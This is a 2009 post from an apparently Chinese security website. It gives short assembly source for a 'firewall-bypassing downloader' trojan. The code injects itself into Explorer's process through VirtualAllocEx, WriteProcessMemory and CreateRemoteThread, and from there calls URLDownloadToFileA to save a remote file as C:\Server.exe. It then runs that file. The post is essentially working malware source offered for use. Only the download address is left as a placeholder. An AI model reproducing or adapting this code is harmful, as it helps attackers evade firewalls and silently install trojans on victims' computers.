首页 网络安全 安全学院 查看内容

1.5K穿墙下载者代码

2009-9-10 10:07 791 0

摘要: 汇编写的最小的穿墙下载者。基本上都加了注释,为了节约空间,增加速度,像MOV之类的语句都用PUSH和POP来代替了。没有用到数据区段(大概节约了1KB),变量都直接用寄存器和堆栈保存的,所以看起来不是...
关键词: nbsp invoke 句柄 PUSH EBX OFFSET 线程 进程 eax 木马

汇编写的最小的穿墙下载者。基本上都加了注释,为了节约空间,增加速度,像MOV之类的语句都用PUSH和POP来代替了。没有用到数据区段(大概节约了1KB),变量都直接用寄存器和堆栈保存的,所以看起来不是很容易理解。从大小上来说基本已经达到极限。 代码如下: .386 .model flat,stdcall option casemap:none ;以下是所用的库文件 include user32.inc includelib user32.lib include kernel32.inc includelib kernel32.lib include windows.inc .code tit db 'Shell_Traywnd',0        ;Explorer的窗口类型 szmsg db 'URLDownloadToFileA',0 ;下载文件的函数 userdll db 'Urlmon.dll',0       ;用到的动态连接库 szloadlib db 'LoadLibraryA',0   ;加载动态连接库的函数 path db 'C:\Server.exe',0       ;木马要保存的地址 codebegin: szTit db "C:\\Server.exe",0     ;木马要保存的地址 dispdata db "!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!",0;木马的网址 datalen =$-codebegin Rproc proc msgbox CALL @F@@: POP EBX SUB EBX,OFFSET @B LEA EDX,[EBX+szTit] LEA ECX,[EBX+dispdata] push 0 push 0 push edx push ecx push 0 call msgbox ret   Rproc endp codelen =$-codebegin                                            ;代码长度字节 ;///////////////////////////////////////////////////////////////////////////// start: invoke FindWindow,offset tit,0                            ;返回Explorer窗口句柄 invoke GetWindowThreadProcessId,eax,ebx                   ;得到Explorer进程PID,保存到ebx invoke OpenProcess,PROCESS_ALL_ACCESS,FALSE,[ebx]         ;打开进程,得到进程句柄 push eax pop ebx                                                   ;保存进程句柄 invoke VirtualAllocEx,ebx,0, codelen, MEM_COMMIT, PAGE_EXECUTE_READWRITE ;在Explorer的进程里申请空间 push eax pop edi invoke WriteProcessMemory,ebx,edi,offset codebegin,codelen,NULL ;写入插入的代码 invoke LoadLibrary,offset userdll                   ;加载Urlmon.dll invoke GetProcAddress,eax,offset szmsg              ;得到地址 push edi pop esi add esi,datalen invoke CreateRemoteThread,ebx,0,0,esi,eax,0,0  ;远程线程调用 push eax                                     ;返回线程句柄 invoke WaitForSingleObject,eax, INFINITE        ;等待线程结束 pop eax invoke CloseHandle,eax                          ;关闭线程句柄 invoke WinExec,offset path,SW_SHOW                  ;运行木马 invoke VirtualFreeEx,ebx,edi,codelen,MEM_RELEASE ;释放空间 invoke ExitProcess,0 end start
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部